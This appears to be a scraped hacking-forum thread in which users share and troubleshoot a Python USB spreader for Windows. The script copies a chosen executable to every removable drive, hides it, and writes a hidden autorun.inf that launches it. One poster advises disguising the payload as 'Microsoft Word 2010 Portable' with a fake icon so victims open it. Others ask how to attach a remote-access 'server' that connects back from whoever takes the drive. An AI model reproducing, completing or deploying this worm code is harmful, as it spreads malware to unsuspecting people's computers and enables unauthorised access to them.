Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

USB Spread

Can someone explain me this source I got? Hit me up via pm for further information, I'm not releasing the code to the public 😖
You just need usb library;
http://walac.github.io/pyusb/
Aftterwards,

PHP Code

<?php 
import shutil
import pyusb

find 
= find.WHEREUSB("where my usb")
try:
    
shutil.copy2('myhackingfile.exe', find)
except:
    print 
"I cant upload this shit" 

👍
(Apr 13, 2015 01:15 AM)SIM-1866423 Wrote:  You just need usb library;
http://walac.github.io/pyusb/
Aftterwards,

PHP Code

<?php 
import shutil
import pyusb

find 
= find.WHEREUSB("where my usb")
try:
    
shutil.copy2('myhackingfile.exe', find)
except:
    print 
"I cant upload this shit" 

👍

Make it rename it to something like "Microsoft Word 2010 Portable"

More chance of people opening it when they find it on their USB. Set the details, icon etc too

Xaga
Code
import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):    # path must be absolute
      print " [*] Checking information"

      self.filename = path.split("\\")[-1]
      self.driveFilename = self.filename

      if not self.driveFilename.startswith("~"):
      self.driveFilename = "~" + self.driveFilename

      print "\t- Local filename: " + self.filename
      print "\t- Driver filename: " + self.driveFilename

      self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

      print "\t- Full path: " + self.path

      print "\n [*] Getting removable drives"
      self.drives = self.__getRemovableDrives()

      if len(self.drives) == None:
      print " [-] No removable drives available"
      sys.exit()

      for drive in self.drives:
      print "\t- " + drive

      print "\n [*] Spreading"
      self.__spread()

      print "\n [+] Successfully spread"

    def __getRemovableDrives(self):
      removableDrives = []
      drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

      for drive in drives:
      driveType = win32file.GetDriveType(drive)

      if driveType == win32file.DRIVE_REMOVABLE:
            removableDrives.append(drive)

      return removableDrives

    def __spread(self):
      for drive in self.drives:

      if drive == "A:\\":
            continue

      else:

            driveFile = drive + self.driveFilename
            driveAutorun = drive + "autorun.inf"

            print " [+] " + drive

            if not os.path.exists(driveFile):
            self.__copyFile(driveFile)

            if not os.path.exists(driveAutorun):
            self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
      print "\t- Copying file: " + self.driveFilename,
      win32file.CopyFile(self.path, driveFile, 0)
      print "\t\t\tDONE"

      print "\t- Hidding file",
      win32api.SetFileAttributes(driveFile,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print "\t\t\tDONE"

    def __createAutorun(self, driveAutorun):
      print "\t- Creating autorun.inf",
      autorun = open(driveAutorun, "w")
      content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
      autorun.write(content)
      autorun.close()
      print "\t\t\tDONE"

      print "\t- Hidding autorun",
      win32api.SetFileAttributes(driveAutorun,\
             win32con.FILE_ATTRIBUTE_HIDDEN)
      print "\t\t\tDONE"

Mind helping me with this one?

Hope to get some answers back 😊
(Apr 13, 2015 12:08 PM)Unauthenticated Wrote:  Mind helping me with this one?
Hope to get some answers back 😊
Lol finally a semi interesting post, before I look at your code, what do you need help with.
Or did you just want people to look at it?
Either way gg
(Apr 13, 2015 12:34 PM)MR.FREE Wrote:  Lol finally a semi interesting post, before I look at your sexy code, what do you need help with.
Or did you just want people to look at it?
Either way gg

I asked a friend to code it for me I don't care someone leech it now, I'm really high and fuck it, so I wanted to know if someone here could tell me how to use this... My friend said "yeah i'll code you anything but you'll compile it and you'll declare the paths and bla bla" I was really high when he said that so I agreed, now can someone explain me what am I supposed to do 🤦‍♂ 😊
(Apr 13, 2015 12:59 PM)Unauthenticated Wrote:  now can someone explain me what am I supposed to do 🤦‍♂ 😊
If you wouldn't mind could you post that on pastebin and post the link por favor, it will make looking at it a little less painful.
^^ the time u reply u can do it http://pastebin.com/3AmCvKnt
anyway all u need is to put the path of ur server
(Apr 13, 2015 03:53 PM)Only3 Wrote:  ^^ the time u reply u can do it http://pastebin.com/3AmCvKnt
anyway all u need is to put the path of ur server
😵^^ I am such a :derp: thank you

The reason I didn't is because OP is the only one that can post it to pastebin with correct indentation. If I would have copy/pasted it, then the indentation would be all screwed up and annoying to read plus impossible to run unless I spend the time to fix all indentation errors. So not only am I reading over someone else code as a favor but now I have to fix it, just to fix it. It's just the nice thing to do when asking for help. Atleast it's how I show respect to a thread and people helping me.
(Apr 13, 2015 03:53 PM)Only3 Wrote:  ^^ the time u reply u can do it http://pastebin.com/3AmCvKnt
anyway all u need is to put the path of ur server

I know it should look like this,

>>> import os
>>> os.path.abspath("mydir/myserver.exe")

Could someone be super nice and fill up an example with the code?

That's the point of the thread, not just looking up at the code saying it's cool 🤨


(Apr 13, 2015 04:26 PM)MR.FREE Wrote:  😵^^ I am such a :derp: thank you

The reason I didn't is because OP is the only one that can post it to pastebin with correct indentation. If I would have copy/pasted it, then the indentation would be all screwed up and annoying to read plus impossible to run unless I spend the time to fix all indentation errors. So not only am I reading over someone else code as a favor but now I have to fix it, just to fix it. It's just the nice thing to do when asking for help. Atleast it's how I show respect to a thread and people helping me.

Does it have errors? 😯

Mind posting them?

Here's my pastebin source.
http://pastebin.com/CccTcQdS
(Apr 13, 2015 03:53 PM)Only3 Wrote:  ^^ the time u reply u can do it http://pastebin.com/3AmCvKnt
😵
You know what, you were right.

I found the actual code. Written by Whiz
so I was able to post the code with exact indentations.
Lol I'm an Asshole sorry.
http://pastebin.com/utKX7nzr

# hey I learned my lesson, i'll just shut up for now on.


(Apr 13, 2015 04:32 PM)Unauthenticated Wrote:  Does it have errors? 😯

Sure look at the indentation on line 14-15,27-28,31-32,44etc...... of op post http://pastebin.com/3AmCvKnt
I went ahead and posted the original code so were good. I personally post longer code to pastebin and leave a link when I ask for help. It's just proper Etiquette, and any real programer that isn't a total fucking skid would agree I would think.
lol Whiz is online over at https://underc0de.org/foro/python/usb-spreader/ right now that's where I got the real code with out indentation errors. If anyone was wondering
(Apr 13, 2015 04:47 PM)MR.FREE Wrote:  😵
You know what, you were right.

I found the actual code. Written by Whiz
so I was able to post the code with exact indentations.
Lol I'm an Asshole sorry.
http://pastebin.com/utKX7nzr

# hey I learned my lesson, i'll just shut up for now on.



Sure look at the indentation on line 14-15,27-28,31-32,44etc...... of op post http://pastebin.com/3AmCvKnt
I went ahead and posted the original code so were good. I personally post longer code to pastebin and leave a link when I ask for help. It's just proper Etiquette, and any real programer that isn't a total fucking skid would agree I would think.
lol Whiz is online over at https://underc0de.org/foro/python/usb-spreader/ right now that's where I got the real code with out indentation errors. If anyone was wondering

I didn't want to post the link to the forum to prevent mass scams in this forum, there's good stuff there (useable to be sold in here, that is free there), and I never took credit nor gave to it someone with a real identity, so I don't feel guilty by not giving credits to Whiz, anyway mind helping setting it up?

You just didn't come to this thread to give credits did you...? 🤦‍♂
😁 at least hf best on finding the original code
(Apr 13, 2015 03:53 PM)Only3 Wrote:  anyway all u need is to put the path of ur server
(Apr 13, 2015 04:32 PM)Unauthenticated Wrote:  I know it should look like this,
>>> import os
>>> os.path.abspath("mydir/myserver.exe")

Hey I just started learning how to be l33t haxstar, is this all I have to do to get a connection on someone that steals my usb?
Any of you guys know how to write a 'server'(lel) in python for the server.exe so this will work?
Seriously please let me know, what exactly does this need to run and work as expected?
If you can say it, I can write it. what happens next?


(Apr 13, 2015 05:01 PM)Unauthenticated Wrote:  You just didn't come to this thread to give credits did you...? 🤦‍♂
No ofc not, I came to help out with python programming.
Run the program in windows, if it works as expected you'll load the file that you will be hiding in a usb.
I have the hellokitty fedora release, so my skid ass couldn't find out if the script worked as expected or not. So idk
here u go assuming the server have the client code https://hackforums.net/showthread.php?ti...id45687948
inb4 (Click to View)


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by DeletedUser999213May 13, 2018 02:32 PM 12 882 May 13, 2018 02:32 PM
Last Post: jcbullet
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 735 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by danielpherlioMay 28, 2016 02:17 AM 3 554 May 28, 2016 02:17 AM
Last Post: Decim